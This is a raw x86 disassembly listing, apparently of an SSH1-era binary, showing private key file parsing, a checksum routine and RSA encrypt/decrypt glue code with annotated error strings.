0805c3bb  89 85 5c ef ff ff         mov     %eax,0xffffef5c(%ebp)   ;-4260 'x5c xef xff xff' "\"
0805c3c1  57                        push    %edi
0805c3c2  e8 ed 95 ff ff            call    080559b4 <Unknown0118>
0805c3c7  83 c4 0c                  add     $0xc,%esp
0805c3ca  56                        push    %esi
0805c3cb  ff b5 64 ef ff ff         pushl   0xffffef64(%ebp)  ;-4252 'x64 xef xff xff' "d"
0805c3d1  53                        push    %ebx
0805c3d2  e8 e5 28 00 00            call    0805ecbc <Unknown0283>
0805c3d7  83 c4 10                  add     $0x10,%esp
0805c3da  39 f0                     cmp     %esi,%eax
0805c3dc  74 36                     je      0805c414 <Unknown0238+0xdc>
0805c3de  83 ec 10                  sub     $0x10,%esp
0805c3e1  e8 56 da fe ff            call    08049e3c <__errno_location>
0805c3e6  5e                        pop     %esi
0805c3e7  ff 30                     pushl   (%eax)
0805c3e9  e8 fe d9 fe ff            call    08049dec <strerror>
0805c3ee  83 c4 0c                  add     $0xc,%esp
0805c3f1  50                        push    %eax
0805c3f2  ff 75 0c                  pushl   0xc(%ebp)
0805c3f5  68 c0 3b 07 08            push    $0x8073bc0   ;[in .rodata] 1684104530 'x52 x65 x61 x64' "Read from
                                                         key file %.200s failed: %.100s"
0805c3fa  e8 81 39 ff ff            call    0804fd80 <Unknown0039>
0805c3ff  89 3c 24                  mov     %edi,(%esp,1)
0805c402  e8 3d 95 ff ff            call    08055944 <Unknown0115>
```

```
0805c407  89 1c 24              mov    %ebx,(%esp,1)
0805c40a  e8 a1 26 00 00        call   0805eab0 <Unknown0280>
0805c40f  e9 48 ff ff ff        jmp    0805c35c <Unknown0238+0x24>  ;-184 'x48 xff xff xff' "H"
0805c414  83 ec 0c              sub    $0xc,%esp
0805c417  53                    push   %ebx
0805c418  e8 93 26 00 00        call   0805eab0 <Unknown0280>
0805c41d  83 c4 10              add    $0x10,%esp
0805c420  83 fe 21              cmp    $0x21,%esi
0805c423  73 1b                 jae    0805c440 <Unknown0238+0x108>
0805c425  83 ec 08              sub    $0x8,%esp
0805c428  ff 75 0c              pushl  0xc(%ebp)
0805c42b  68 e9 3b 07 08        push   $0x8073be9  ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad key file
                                                    %.200s."
0805c430  e8 4b 39 ff ff        call   0804fd80 <Unknown0039>
0805c435  89 3c 24              mov    %edi,(%esp,1)
0805c438  e9 1a 02 00 00        jmp    0805c657 <Unknown0238+0x31f>  ;538 'x1a x2 x0 x0' ""
0805c43d  8d 76 00              lea    0x0(%esi),%esi
0805c440  31 db                 xor    %ebx,%ebx
0805c442  89 fe                 mov    %edi,%esi
0805c444  83 ec 0c              sub    $0xc,%esp
0805c447  56                    push   %esi
0805c448  e8 0f e7 ff ff        call   0805ab5c <Unknown0225>
0805c44d  0f b6 93 00 3b 07 08  movzbl 0x8073b00(%ebx),%edx  ;[in .rodata] 541610835 'x53 x53 x48 x20'
                                                               "SSH PRIVATE KEY FILE FORMAT 1.1"
0805c454  83 c4 10              add    $0x10,%esp
0805c457  39 d0                 cmp    %edx,%eax
0805c459  0f 85 e5 01 00 00     jne    0805c644 <Unknown0238+0x30c>  ;485 'xe5 x1 x0 x0' ""
0805c45f  43                    inc    %ebx
0805c460  83 fb 21              cmp    $0x21,%ebx
0805c463  72 df                 jb     0805c444 <Unknown0238+0x10c>
0805c465  83 ec 0c              sub    $0xc,%esp
0805c468  8d 75 d8              lea    0xffffffd8(%ebp),%esi
0805c46b  56                    push   %esi
0805c46c  e8 eb e6 ff ff        call   0805ab5c <Unknown0225>
0805c471  89 34 24              mov    %esi,(%esp,1)
0805c474  89 85 60 ef ff ff     mov    %eax,0xffffef60(%ebp)  ;-4256 'x60 xef xff xff' "`"
0805c47a  e8 c1 e5 ff ff        call   0805aa40 <Unknown0221>
0805c47f  89 34 24              mov    %esi,(%esp,1)
0805c482  e8 b9 e5 ff ff        call   0805aa40 <Unknown0221>
0805c487  8b 55 14              mov    0x14(%ebp),%edx
0805c48a  89 d3                 mov    %edx,%ebx
0805c48c  89 02                 mov    %eax,(%edx)
0805c48e  83 c3 04              add    $0x4,%ebx
0805c491  89 1c 24              mov    %ebx,(%esp,1)
0805c494  e8 2f 4d 00 00        call   080611c8 <Unknown0319>
0805c499  5a                    pop    %edx
0805c49a  59                    pop    %ecx
0805c49b  53                    push   %ebx
0805c49c  56                    push   %esi
0805c49d  e8 ee e4 ff ff        call   0805a990 <Unknown0220>
0805c4a2  8b 5d 14              mov    0x14(%ebp),%ebx
0805c4a5  83 c3 10              add    $0x10,%ebx
0805c4a8  89 1c 24              mov    %ebx,(%esp,1)
0805c4ab  e8 18 4d 00 00        call   080611c8 <Unknown0319>
0805c4b0  5f                    pop    %edi
0805c4b1  58                    pop    %eax
0805c4b2  53                    push   %ebx
0805c4b3  56                    push   %esi
0805c4b4  e8 d7 e4 ff ff        call   0805a990 <Unknown0220>
0805c4b9  8b 4d 18              mov    0x18(%ebp),%ecx
0805c4bc  83 c4 10              add    $0x10,%esp
0805c4bf  85 c9                 test   %ecx,%ecx
0805c4c1  74 15                 je     0805c4d8 <Unknown0238+0x1a0>
0805c4c3  83 ec 08              sub    $0x8,%esp
0805c4c6  6a 00                 push   $0x0
0805c4c8  56                    push   %esi
0805c4c9  e8 f2 e5 ff ff        call   0805aac0 <Unknown0223>
0805c4ce  8b 4d 18              mov    0x18(%ebp),%ecx
0805c4d1  89 01                 mov    %eax,(%ecx)
0805c4d3  eb 17                 jmp    0805c4ec <Unknown0238+0x1b4>
0805c4d5  8d 76 00              lea    0x0(%esi),%esi
0805c4d8  83 ec 18              sub    $0x18,%esp
0805c4db  6a 00                 push   $0x0
0805c4dd  56                    push   %esi
0805c4de  e8 dd e5 ff ff        call   0805aac0 <Unknown0223>
0805c4e3  83 c4 14              add    $0x14,%esp
0805c4e6  50                    push   %eax
0805c4e7  e8 24 aa ff ff        call   08056f10 <Unknown0172>
0805c4ec  83 c4 10              add    $0x10,%esp
0805c4ef  8b 95 60 ef ff ff     mov    0xffffef60(%ebp),%edx  ;-4256 'x60 xef xff xff' "`"
0805c4f5  85 d2                 test   %edx,%edx
0805c4f7  74 3f                 je     0805c538 <Unknown0238+0x200>
0805c4f9  e8 82 04 00 00        call   0805c980 <Unknown0243>
0805c4fe  ba 01 00 00 00        mov    $0x1,%edx  ;1 'x1 x0 x0 x0' ""
```

```
0805c503  8a 8d 60 ef ff ff      mov    0xffffef60(%ebp),%cl   ;-4256 'x60 xef xff xff' "`"
0805c509  d3 e2                  shl    %cl,%edx
0805c50b  85 c2                  test   %eax,%edx
0805c50d  75 29                  jne    0805c538 <Unknown0238+0x200>
0805c50f  50                     push   %eax
0805c510  ff 75 0c               pushl  0xc(%ebp)
0805c513  57                     push   %edi
0805c514  ff b5 60 ef ff ff      pushl  0xffffef60(%ebp)   ;-4256 'x60 xef xff xff' "`"
0805c51a  e8 6d 04 00 00         call   0805c98c <Unknown0244>
0805c51f  5b                     pop    %ebx
0805c520  5e                     pop    %esi
0805c521  50                     push   %eax
0805c522  68 00 3c 07 08         push   $0x8073c00   ;[in .rodata] 1970499157 'x55 x6e x73 x75' "Unsupported
                                                      cipher %.100s used in key file %.200s."
0805c527  e8 54 38 ff ff         call   0804fd80 <Unknown0039>
0805c52c  8d 45 d8               lea    0xffffffd8(%ebp),%eax
0805c52f  89 04 24               mov    %eax,(%esp,1)
0805c532  e9 c3 00 00 00         jmp    0805c5fa <Unknown0238+0x2c2>   ;195 'xc3 x0 x0 x0' ""
0805c537  90                     nop
0805c538  83 ec 0c               sub    $0xc,%esp
0805c53b  8d 7d c8               lea    0xffffffc8(%ebp),%edi
0805c53e  8d 5d d8               lea    0xffffffd8(%ebp),%ebx
0805c541  57                     push   %edi
0805c542  e8 cd 93 ff ff         call   08055914 <Unknown0114>
0805c547  89 1c 24               mov    %ebx,(%esp,1)
0805c54a  e8 f9 94 ff ff         call   08055a48 <Unknown0119>
0805c54f  83 c4 0c               add    $0xc,%esp
0805c552  50                     push   %eax
0805c553  ff b5 5c ef ff ff      pushl  0xffffef5c(%ebp)   ;-4260 'x5c xef xff xff' "\"
0805c559  57                     push   %edi
0805c55a  e8 55 94 ff ff         call   080559b4 <Unknown0118>
0805c55f  6a 00                  push   $0x0
0805c561  ff 75 10               pushl  0x10(%ebp)
0805c564  ff b5 60 ef ff ff      pushl  0xffffef60(%ebp)   ;-4256 'x60 xef xff xff' "`"
0805c56a  8d b5 68 ef ff ff      lea    0xffffef68(%ebp),%esi   ;-4248 'x68 xef xff xff' "h"
0805c570  56                     push   %esi
0805c571  e8 da 04 00 00         call   0805ca50 <Unknown0246>
0805c576  83 c4 14               add    $0x14,%esp
0805c579  53                     push   %ebx
0805c57a  e8 c9 94 ff ff         call   08055a48 <Unknown0119>
0805c57f  83 c4 10               add    $0x10,%esp
0805c582  50                     push   %eax
0805c583  83 ec 08               sub    $0x8,%esp
0805c586  53                     push   %ebx
0805c587  e8 80 95 ff ff         call   08055b0c <Unknown0123>
0805c58c  83 c4 0c               add    $0xc,%esp
0805c58f  50                     push   %eax
0805c590  ff b5 64 ef ff ff      pushl  0xffffef64(%ebp)   ;-4252 'x64 xef xff xff' "d"
0805c596  56                     push   %esi
0805c597  e8 c4 07 00 00         call   0805cd60 <Unknown0249>
0805c59c  89 1c 24               mov    %ebx,(%esp,1)
0805c59f  e8 a0 93 ff ff         call   08055944 <Unknown0115>
0805c5a4  89 3c 24               mov    %edi,(%esp,1)
0805c5a7  e8 b0 e5 ff ff         call   0805ab5c <Unknown0225>
0805c5ac  89 3c 24               mov    %edi,(%esp,1)
0805c5af  89 c3                  mov    %eax,%ebx
0805c5b1  e8 a6 e5 ff ff         call   0805ab5c <Unknown0225>
0805c5b6  89 3c 24               mov    %edi,(%esp,1)
0805c5b9  89 c6                  mov    %eax,%esi
0805c5bb  e8 9c e5 ff ff         call   0805ab5c <Unknown0225>
0805c5c0  83 c4 10               add    $0x10,%esp
0805c5c3  39 c3                  cmp    %eax,%ebx
0805c5c5  75 14                  jne    0805c5db <Unknown0238+0x2a3>
0805c5c7  83 ec 0c               sub    $0xc,%esp
0805c5ca  57                     push   %edi
0805c5cb  e8 8c e5 ff ff         call   0805ab5c <Unknown0225>
0805c5d0  83 c4 10               add    $0x10,%esp
0805c5d3  39 c6                  cmp    %eax,%esi
0805c5d5  0f 84 89 00 00 00      je     0805c664 <Unknown0238+0x32c>   ;137 'x89 x0 x0 x0' ""
0805c5db  8b 45 10               mov    0x10(%ebp),%eax
0805c5de  80 38 00               cmpb   $0x0,(%eax)
0805c5e1  74 13                  je     0805c5f6 <Unknown0238+0x2be>
0805c5e3  83 ec 08               sub    $0x8,%esp
0805c5e6  ff 75 0c               pushl  0xc(%ebp)
0805c5e9  68 40 3c 07 08         push   $0x8073c40   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad
                                                      passphrase supplied for key file %.200s."
0805c5ee  e8 8d 37 ff ff         call   0804fd80 <Unknown0039>
0805c5f3  83 c4 10               add    $0x10,%esp
0805c5f6  83 ec 0c               sub    $0xc,%esp
0805c5f9  57                     push   %edi
0805c5fa  e8 45 93 ff ff         call   08055944 <Unknown0115>
0805c5ff  83 c4 10               add    $0x10,%esp
0805c602  8b 45 14               mov    0x14(%ebp),%eax
0805c605  83 ec 0c               sub    $0xc,%esp
```

```
0805c608  83 c0 04              add     $0x4,%eax
0805c60b  50                    push    %eax
0805c60c  e8 ef 41 00 00        call    08060800 <Unknown0307>
0805c611  8b 45 14              mov     0x14(%ebp),%eax
0805c614  83 c0 10              add     $0x10,%eax
0805c617  89 04 24              mov     %eax,(%esp,1)
0805c61a  e8 e1 41 00 00        call    08060800 <Unknown0307>
0805c61f  8b 4d 18              mov     0x18(%ebp),%ecx
0805c622  83 c4 10              add     $0x10,%esp
0805c625  85 c9                 test    %ecx,%ecx
0805c627  0f 84 2f fd ff ff     je      0805c35c <Unknown0238+0x24>   ;-721 'x2f xfd xff xff' "/"
0805c62d  83 ec 0c              sub     $0xc,%esp
0805c630  8b 55 18              mov     0x18(%ebp),%edx
0805c633  ff 32                 pushl   (%edx)
0805c635  e8 d6 a8 ff ff        call    08056f10 <Unknown0172>
0805c63a  83 c4 10              add     $0x10,%esp
0805c63d  e9 1a fd ff ff        jmp     0805c35c <Unknown0238+0x24>   ;-742 'x1a xfd xff xff' ""
0805c642  89 f6                 mov     %esi,%esi
0805c644  83 ec 08              sub     $0x8,%esp
0805c647  ff 75 0c              pushl   0xc(%ebp)
0805c64a  68 e9 3b 07 08        push    $0x8073be9  ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad key file
                                                    %.200s."
0805c64f  e8 2c 37 ff ff        call    0804fd80 <Unknown0039>
0805c654  89 34 24              mov     %esi,(%esp,1)
0805c657  e8 e8 92 ff ff        call    08055944 <Unknown0115>
0805c65c  e9 fb fc ff ff        jmp     0805c35c <Unknown0238+0x24>   ;-773 'xfb xfc xff xff' ""
0805c661  8d 76 00              lea     0x0(%esi),%esi
0805c664  8b 5d 14              mov     0x14(%ebp),%ebx
0805c667  83 ec 0c              sub     $0xc,%esp
0805c66a  83 c3 1c              add     $0x1c,%ebx
0805c66d  53                    push    %ebx
0805c66e  e8 55 4b 00 00        call    080611c8 <Unknown0319>


  ;
  ; >---------------------<  Subroutine # 239 >---------------------<
  ;
0805c66f <Unknown0239>:
0805c66f  55                    push    %ebp
0805c670  4b                    dec     %ebx
0805c671  00 00                 add     %al,(%eax)
0805c673  58                    pop     %eax
0805c674  5a                    pop     %edx
0805c675  53                    push    %ebx
0805c676  57                    push    %edi
0805c677  e8 14 e3 ff ff        call    0805a990 <Unknown0220>
0805c67c  8b 5d 14              mov     0x14(%ebp),%ebx
0805c67f  83 c3 28              add     $0x28,%ebx
0805c682  89 1c 24              mov     %ebx,(%esp,1)
0805c685  e8 3e 4b 00 00        call    080611c8 <Unknown0319>
0805c68a  59                    pop     %ecx
0805c68b  5e                    pop     %esi
0805c68c  53                    push    %ebx
0805c68d  57                    push    %edi
0805c68e  e8 fd e2 ff ff        call    0805a990 <Unknown0220>
0805c693  8b 5d 14              mov     0x14(%ebp),%ebx
0805c696  83 c3 34              add     $0x34,%ebx
0805c699  89 1c 24              mov     %ebx,(%esp,1)
0805c69c  e8 27 4b 00 00        call    080611c8 <Unknown0319>
0805c6a1  58                    pop     %eax
0805c6a2  5a                    pop     %edx
0805c6a3  53                    push    %ebx
0805c6a4  57                    push    %edi
0805c6a5  e8 e6 e2 ff ff        call    0805a990 <Unknown0220>
0805c6aa  8b 5d 14              mov     0x14(%ebp),%ebx
0805c6ad  83 c3 40              add     $0x40,%ebx
0805c6b0  89 1c 24              mov     %ebx,(%esp,1)
0805c6b3  e8 10 4b 00 00        call    080611c8 <Unknown0319>
0805c6b8  59                    pop     %ecx
0805c6b9  5e                    pop     %esi
0805c6ba  53                    push    %ebx
0805c6bb  57                    push    %edi
0805c6bc  e8 cf e2 ff ff        call    0805a990 <Unknown0220>
0805c6c1  89 3c 24              mov     %edi,(%esp,1)
0805c6c4  e8 7b 92 ff ff        call    08055944 <Unknown0115>
0805c6c9  b8 01 00 00 00        mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805c6ce  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805c6d1  5b                    pop     %ebx
0805c6d2  5e                    pop     %esi
0805c6d3  5f                    pop     %edi
0805c6d4  5d                    pop     %ebp
0805c6d5  c3                    ret
0805c6d6  89 f6                 mov     %esi,%esi
```

```
        ;
        ; >---------------------<   Subroutine # 240 >---------------------<
        ;
0805c6d8 <Unknown0240>:
0805c6d8  55                       push    %ebp
0805c6d9  89 e5                    mov     %esp,%ebp
0805c6db  57                       push    %edi
0805c6dc  56                       push    %esi
0805c6dd  53                       push    %ebx
0805c6de  31 d2                    xor     %edx,%edx
0805c6e0  8b 5d 0c                 mov     0xc(%ebp),%ebx
0805c6e3  31 c9                    xor     %ecx,%ecx
0805c6e5  39 da                    cmp     %ebx,%edx
0805c6e7  8b 7d 08                 mov     0x8(%ebp),%edi
0805c6ea  73 1b                    jae     0805c707 <Unknown0240+0x2f>
0805c6ec  be 88 7e 07 08           mov     $0x8077e88,%esi  ;[in .data] 0 'x0 x0 x0 x0' ""
0805c6f1  8d 76 00                 lea     0x0(%esi),%esi
0805c6f4  88 d0                    mov     %dl,%al
0805c6f6  32 04 39                 xor     (%ecx,%edi,1),%al
0805c6f9  c1 ea 08                 shr     $0x8,%edx
0805c6fc  0f b6 c0                 movzbl  %al,%eax
0805c6ff  41                       inc     %ecx
0805c700  33 14 86                 xor     (%esi,%eax,4),%edx
0805c703  39 d9                    cmp     %ebx,%ecx
0805c705  72 ed                    jb      0805c6f4 <Unknown0240+0x1c>
0805c707  5b                       pop     %ebx
0805c708  5e                       pop     %esi
0805c709  89 d0                    mov     %edx,%eax
0805c70b  5f                       pop     %edi
0805c70c  5d                       pop     %ebp
0805c70d  c3                       ret
0805c70e  89 f6                    mov     %esi,%esi


        ;
        ; >---------------------<   Subroutine # 241 >---------------------<
        ;
0805c710 <Unknown0241>:
0805c710  55                       push    %ebp
0805c711  89 e5                    mov     %esp,%ebp
0805c713  57                       push    %edi
0805c714  56                       push    %esi
0805c715  53                       push    %ebx
0805c716  83 ec 34                 sub     $0x34,%esp
0805c719  8b 45 10                 mov     0x10(%ebp),%eax
0805c71c  6a 03                    push    $0x3
0805c71e  83 c0 04                 add     $0x4,%eax
0805c721  50                       push    %eax
0805c722  e8 49 41 00 00           call    08060870 <Unknown0309>
0805c727  83 c4 10                 add     $0x10,%esp
0805c72a  85 c0                    test    %eax,%eax
0805c72c  79 10                    jns     0805c73e <Unknown0241+0x2e>
0805c72e  83 ec 0c                 sub     $0xc,%esp
0805c731  68 80 3c 07 08           push    $0x8073c80   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad public
                                                        key, POTENTIAL BREAK-IN ATTEMPT!"
0805c736  e8 21 38 ff ff           call    0804ff5c <Unknown0044>
0805c73b  83 c4 10                 add     $0x10,%esp
0805c73e  83 ec 08                 sub     $0x8,%esp
0805c741  6a 02                    push    $0x2
0805c743  ff 75 0c                 pushl   0xc(%ebp)
0805c746  e8 7d 5e 00 00           call    080625c8 <Unknown0338>
0805c74b  83 c0 07                 add     $0x7,%eax
0805c74e  c1 e8 03                 shr     $0x3,%eax
0805c751  89 45 d4                 mov     %eax,0xffffffd4(%ebp)
0805c754  8b 45 10                 mov     0x10(%ebp),%eax
0805c757  8b 18                    mov     (%eax),%ebx
0805c759  83 c3 07                 add     $0x7,%ebx
0805c75c  8b 45 d4                 mov     0xffffffd4(%ebp),%eax
0805c75f  c1 eb 03                 shr     $0x3,%ebx
0805c762  83 c0 03                 add     $0x3,%eax
0805c765  83 c4 10                 add     $0x10,%esp
0805c768  39 c3                    cmp     %eax,%ebx
0805c76a  73 1c                    jae     0805c788 <Unknown0241+0x78>
0805c76c  68 ac 3c 07 08           push    $0x8073cac   ;[in .rodata] 1600222066 'x72 x73 x61 x5f'
                                                        "rsa_public_encrypt"
0805c771  68 e4 00 00 00           push    $0xe4   ;228 'xe4 x0 x0 x0' ""
0805c776  68 bf 3c 07 08           push    $0x8073cbf   ;[in .rodata] 1734439794 'x72 x73 x61 x67' "rsaglue.c"
0805c77b  68 c9 3c 07 08           push    $0x8073cc9   ;[in .rodata] 544105836 'x6c x65 x6e x20' "len >=
                                                        input_len + 3"
0805c780  e8 47 d6 fe ff           call    08049dcc <__assert_fail>
0805c785  8d 76 00                 lea     0x0(%esi),%esi
0805c788  83 ec 08                 sub     $0x8,%esp
0805c78b  6a 02                    push    $0x2
```

```
0805c78d  8d 75 d8        lea     0xffffffd8(%ebp),%esi
0805c790  56              push    %esi
0805c791  e8 16 4f 00 00  call    080616ac <Unknown0322>
0805c796  89 d8           mov     %ebx,%eax
0805c798  2b 45 d4        sub     0xffffffd4(%ebp),%eax
0805c79b  bf 02 00 00 00  mov     $0x2,%edi    ;2 'x2 x0 x0 x0' ""
0805c7a0  48              dec     %eax
0805c7a1  83 c4 10        add     $0x10,%esp
0805c7a4  39 c7           cmp     %eax,%edi
0805c7a6  73 36           jae     0805c7de <Unknown0241+0xce>
0805c7a8  89 45 d0        mov     %eax,0xffffffd0(%ebp)
0805c7ab  90              nop
0805c7ac  83 ec 0c        sub     $0xc,%esp
0805c7af  ff 75 14        pushl   0x14(%ebp)
0805c7b2  e8 a1 87 ff ff  call    08054f58 <Unknown0107>
0805c7b7  89 c3           mov     %eax,%ebx
0805c7b9  83 c4 10        add     $0x10,%esp
0805c7bc  85 db           test    %ebx,%ebx
0805c7be  74 ec           je      0805c7ac <Unknown0241+0x9c>
0805c7c0  52              push    %edx
0805c7c1  6a 08           push    $0x8
0805c7c3  56              push    %esi
0805c7c4  56              push    %esi
0805c7c5  e8 aa 4f 00 00  call    08061774 <Unknown0324>
0805c7ca  83 c4 0c        add     $0xc,%esp
0805c7cd  53              push    %ebx
0805c7ce  56              push    %esi
0805c7cf  56              push    %esi
0805c7d0  47              inc     %edi
0805c7d1  e8 d2 3e 00 00  call    080606a8 <Unknown0306>
0805c7d6  83 c4 10        add     $0x10,%esp
0805c7d9  3b 7d d0        cmp     0xffffffd0(%ebp),%edi
0805c7dc  72 ce           jb      0805c7ac <Unknown0241+0x9c>
0805c7de  8b 55 d4        mov     0xffffffd4(%ebp),%edx
0805c7e1  50              push    %eax
0805c7e2  8d 04 d5 08 00 00 00  lea  0x8(,%edx,8),%eax  ;8 'x8 x0 x0 x0' ""
0805c7e9  8d 5d d8        lea     0xffffffd8(%ebp),%ebx
0805c7ec  50              push    %eax
0805c7ed  53              push    %ebx
0805c7ee  53              push    %ebx
0805c7ef  e8 80 4f 00 00  call    08061774 <Unknown0324>
0805c7f4  83 c4 0c        add     $0xc,%esp
0805c7f7  ff 75 0c        pushl   0xc(%ebp)
0805c7fa  53              push    %ebx
0805c7fb  53              push    %ebx
0805c7fc  e8 1f 3c 00 00  call    08060420 <Unknown0305>
0805c801  83 c4 0c        add     $0xc,%esp
0805c804  ff 75 10        pushl   0x10(%ebp)
0805c807  53              push    %ebx
0805c808  ff 75 08        pushl   0x8(%ebp)
0805c80b  e8 14 7d ff ff  call    08054524 <Unknown0094>
0805c810  89 1c 24        mov     %ebx,(%esp,1)
0805c813  e8 e8 3f 00 00  call    08060800 <Unknown0307>
0805c818  8d 65 f4        lea     0xfffffff4(%ebp),%esp
0805c81b  5b              pop     %ebx
0805c81c  5e              pop     %esi
0805c81d  5f              pop     %edi
0805c81e  5d              pop     %ebp
0805c81f  c3              ret

  ;
  ; >---------------------<  Subroutine # 242 >---------------------<
  ;
0805c820 <Unknown0242>:
0805c820  55              push    %ebp
0805c821  89 e5           mov     %esp,%ebp
0805c823  57              push    %edi
0805c824  56              push    %esi
0805c825  53              push    %ebx
0805c826  83 ec 30        sub     $0x30,%esp
0805c829  8b 5d 10        mov     0x10(%ebp),%ebx
0805c82c  53              push    %ebx
0805c82d  ff 75 0c        pushl   0xc(%ebp)
0805c830  ff 75 08        pushl   0x8(%ebp)
0805c833  e8 90 7b ff ff  call    080543c8 <Unknown0093>
0805c838  8b 1b           mov     (%ebx),%ebx
0805c83a  83 c3 07        add     $0x7,%ebx
0805c83d  89 5d d4        mov     %ebx,0xffffffd4(%ebp)
0805c840  5a              pop     %edx
0805c841  c1 6d d4 03     shrl    $0x3,0xffffffd4(%ebp)
0805c845  ff 75 d4        pushl   0xffffffd4(%ebp)
0805c848  e8 43 a6 ff ff  call    08056e90 <Unknown0170>
0805c84d  5e              pop     %esi
```

```
0805c84e  89 c7              mov     %eax,%edi
0805c850  58                 pop     %eax
0805c851  ff 75 08           pushl   0x8(%ebp)
0805c854  8d 75 d8           lea     0xffffffd8(%ebp),%esi
0805c857  56                 push    %esi
0805c858  e8 e7 4d 00 00      call    08061644 <Unknown0321>
0805c85d  8b 5d d4           mov     0xffffffd4(%ebp),%ebx
0805c860  eb 39              jmp     0805c89b <Unknown0242+0x7b>
0805c862  89 f6              mov     %esi,%esi
0805c864  83 ec 0c           sub     $0xc,%esp
0805c867  56                 push    %esi
0805c868  e8 3f 49 00 00      call    080611ac <Unknown0318>
0805c86d  83 c4 0c           add     $0xc,%esp
0805c870  89 c2              mov     %eax,%edx
0805c872  c1 ea 18           shr     $0x18,%edx
0805c875  88 54 3b fc        mov     %dl,0xfffffffc(%ebx,%edi,1)
0805c879  89 c2              mov     %eax,%edx
0805c87b  c1 ea 10           shr     $0x10,%edx
0805c87e  88 54 3b fd        mov     %dl,0xfffffffd(%ebx,%edi,1)
0805c882  89 c2              mov     %eax,%edx
0805c884  c1 ea 08           shr     $0x8,%edx
0805c887  88 54 3b fe        mov     %dl,0xfffffffe(%ebx,%edi,1)
0805c88b  88 44 3b ff        mov     %al,0xffffffff(%ebx,%edi,1)
0805c88f  6a 20              push    $0x20
0805c891  56                 push    %esi
0805c892  56                 push    %esi
0805c893  83 eb 04           sub     $0x4,%ebx
0805c896  e8 21 40 00 00      call    080608bc <Unknown0310>
0805c89b  83 c4 10           add     $0x10,%esp
0805c89e  83 fb 03           cmp     $0x3,%ebx
0805c8a1  77 c1              ja      0805c864 <Unknown0242+0x44>
0805c8a3  85 db              test    %ebx,%ebx
0805c8a5  74 24              je      0805c8cb <Unknown0242+0xab>
0805c8a7  8d 75 d8           lea     0xffffffd8(%ebp),%esi
0805c8aa  89 f6              mov     %esi,%esi
0805c8ac  83 ec 0c           sub     $0xc,%esp
0805c8af  56                 push    %esi
0805c8b0  e8 f7 48 00 00      call    080611ac <Unknown0318>
0805c8b5  83 c4 0c           add     $0xc,%esp
0805c8b8  88 44 3b ff        mov     %al,0xffffffff(%ebx,%edi,1)
0805c8bc  6a 08              push    $0x8
0805c8be  56                 push    %esi
0805c8bf  56                 push    %esi
0805c8c0  e8 f7 3f 00 00      call    080608bc <Unknown0310>
0805c8c5  83 c4 10           add     $0x10,%esp
0805c8c8  4b                 dec     %ebx
0805c8c9  75 e1              jne     0805c8ac <Unknown0242+0x8c>
0805c8cb  83 ec 0c           sub     $0xc,%esp
0805c8ce  8d 45 d8           lea     0xffffffd8(%ebp),%eax
0805c8d1  50                 push    %eax
0805c8d2  e8 29 3f 00 00      call    08060800 <Unknown0307>
0805c8d7  83 c4 10           add     $0x10,%esp
0805c8da  80 3f 00           cmpb    $0x0,(%edi)
0805c8dd  75 06              jne     0805c8e5 <Unknown0242+0xc5>
0805c8df  80 7f 01 02        cmpb    $0x2,0x1(%edi)
0805c8e3  74 51              je      0805c936 <Unknown0242+0x116>
0805c8e5  83 ec 0c           sub     $0xc,%esp
0805c8e8  6a 00              push    $0x0
0805c8ea  e8 9d d7 fe ff      call    0804a08c <time>
0805c8ef  2b 05 88 82 07 08  sub     0x8078288,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0805c8f5  83 c4 10           add     $0x10,%esp
0805c8f8  83 f8 3c           cmp     $0x3c,%eax
0805c8fb  7e 29              jle     0805c926 <Unknown0242+0x106>
0805c8fd  e8 4a d6 fe ff      call    08049f4c <getppid>
0805c902  48                 dec     %eax
0805c903  74 21              je      0805c926 <Unknown0242+0x106>
0805c905  83 ec 0c           sub     $0xc,%esp
0805c908  6a 00              push    $0x0
0805c90a  e8 7d d7 fe ff      call    0804a08c <time>
0805c90f  a3 88 82 07 08     mov     %eax,0x8078288   ;[in .data] 0 'x0 x0 x0 x0' ""
0805c914  e8 33 d6 fe ff      call    08049f4c <getppid>
0805c919  59                 pop     %ecx
0805c91a  5b                 pop     %ebx
0805c91b  50                 push    %eax
0805c91c  6a 0e              push    $0xe
0805c91e  e8 09 db fe ff      call    0804a42c <kill>
0805c923  83 c4 10           add     $0x10,%esp
0805c926  83 ec 0c           sub     $0xc,%esp
0805c929  68 e0 3c 07 08     push    $0x8073ce0   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad result
                                                                    from rsa_private_decrypt"
0805c92e  e8 29 36 ff ff      call    0804ff5c <Unknown0044>
0805c933  83 c4 10           add     $0x10,%esp
0805c936  bb 02 00 00 00     mov     $0x2,%ebx   ;2 'x2 x0 x0 x0' ""
0805c93b  3b 5d d4           cmp     0xffffffd4(%ebp),%ebx
```

```
0805c93e   73 14                  jae      0805c954 <Unknown0242+0x134>
0805c940   80 7f 02 00            cmpb     $0x0,0x2(%edi)
0805c944   74 0e                  je       0805c954 <Unknown0242+0x134>
0805c946   89 f6                  mov      %esi,%esi
0805c948   43                     inc      %ebx
0805c949   3b 5d d4               cmp      0xffffffd4(%ebp),%ebx
0805c94c   73 06                  jae      0805c954 <Unknown0242+0x134>
0805c94e   80 3c 3b 00            cmpb     $0x0,(%ebx,%edi,1)
0805c952   75 f4                  jne      0805c948 <Unknown0242+0x128>
0805c954   83 ec 0c               sub      $0xc,%esp
0805c957   57                     push     %edi
0805c958   e8 b3 a5 ff ff         call     08056f10 <Unknown0172>
0805c95d   8b 45 d4               mov      0xffffffd4(%ebp),%eax
0805c960   29 d8                  sub      %ebx,%eax
0805c962   83 c4 0c               add      $0xc,%esp
0805c965   8d 04 c5 f8 ff ff ff   lea      0xfffffff8(,%eax,8),%eax   ;-8 'xf8 xff xff xff' ""
0805c96c   50                     push     %eax
0805c96d   ff 75 08               pushl    0x8(%ebp)
0805c970   ff 75 08               pushl    0x8(%ebp)
0805c973   e8 8c 41 00 00         call     08060b04 <Unknown0313>
0805c978   8d 65 f4               lea      0xfffffff4(%ebp),%esp
0805c97b   5b                     pop      %ebx
0805c97c   5e                     pop      %esi
0805c97d   5f                     pop      %edi
0805c97e   5d                     pop      %ebp
0805c97f   c3                     ret


   ;
   ; >---------------------< Subroutine # 243 >---------------------<
   ;
0805c980 <Unknown0243>:
